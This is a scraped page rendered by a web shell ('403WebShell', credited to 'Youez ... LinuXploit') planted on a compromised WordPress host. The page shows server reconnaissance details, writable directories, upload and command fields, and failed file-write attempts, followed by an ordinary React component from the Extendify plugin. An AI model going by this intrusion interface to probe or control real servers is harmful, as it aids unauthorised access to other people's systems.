Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.2.6
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Draft/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Draft/components/Input.jsx
import { Spinner } from '@wordpress/components';
import { __, isRTL } from '@wordpress/i18n';
import { arrowRight, Icon, arrowLeft } from '@wordpress/icons';
import classnames from 'classnames';
import { DynamicTextarea } from '@draft/components/DynamicTextarea';
import { useSelectedText } from '@draft/hooks/useSelectedText';
import { magic } from '@draft/svg';

export const Input = ({
	inputText,
	setInputText,
	ready,
	setReady,
	setPrompt,
	loading,
}) => {
	const { selectedText } = useSelectedText();

	const submit = (event) => {
		event.preventDefault();

		if (!ready || loading) return;

		setInputText('');
		setReady(false);

		setPrompt({
			text: selectedText ? selectedText : inputText,
			promptType: selectedText ? 'custom-requests' : 'create',
			systemMessageKey: selectedText ? 'edit' : 'generate',
			// The prompt as a followup to the user's input
			details: { followup: selectedText ? inputText : undefined },
		});
	};

	return (
		<form className="relative flex items-start" onSubmit={submit}>
			<Icon
				icon={magic}
				className="absolute left-2 top-3.5 h-5 w-5 fill-current text-wp-theme-main rtl:left-auto rtl:right-2"
			/>
			<DynamicTextarea
				disabled={loading}
				placeholder={
					loading
						? __('AI is writing...', 'extendify-local')
						: selectedText
							? __('Ask AI to edit', 'extendify-local')
							: __('Ask AI to generate text', 'extendify-local')
				}
				value={inputText}
				className="h-full w-full resize-none overflow-hidden rounded-none border-transparent bg-transparent px-10 py-3 outline-none focus:ring-1 focus:ring-wp-theme-main"
				onChange={(event) => {
					setInputText(event.target.value);
					setReady(event.target.value.length > 0);
				}}
				onKeyDown={(event) => {
					if (event.key === 'Enter' && !event.shiftKey) {
						event.preventDefault();
						submit(event);
					}
				}}
			/>
			{loading && (
				<div className="absolute right-4 top-3.5 h-4 w-4 p-1 text-gray-700 rtl:left-4 rtl:right-auto">
					<Spinner style={{ margin: '0' }} />
				</div>
			)}
			{!loading && (
				<button
					type="submit"
					disabled={!ready}
					aria-label={__('Submit', 'extendify-local')}
					className={classnames(
						'absolute right-2 top-3.5 border-none bg-transparent p-0 rtl:left-2 rtl:right-auto',
						{
							'cursor-pointer text-gray-700 hover:text-design-main': ready,
							'text-gray-500': !ready,
						},
					)}>
					<Icon
						icon={isRTL() ? arrowLeft : arrowRight}
						onClick={submit}
						className="h-6 w-6 fill-current"
					/>
				</button>
			)}
		</form>
	);
};

Youez - 2016 - github.com/yon3zu
LinuXploit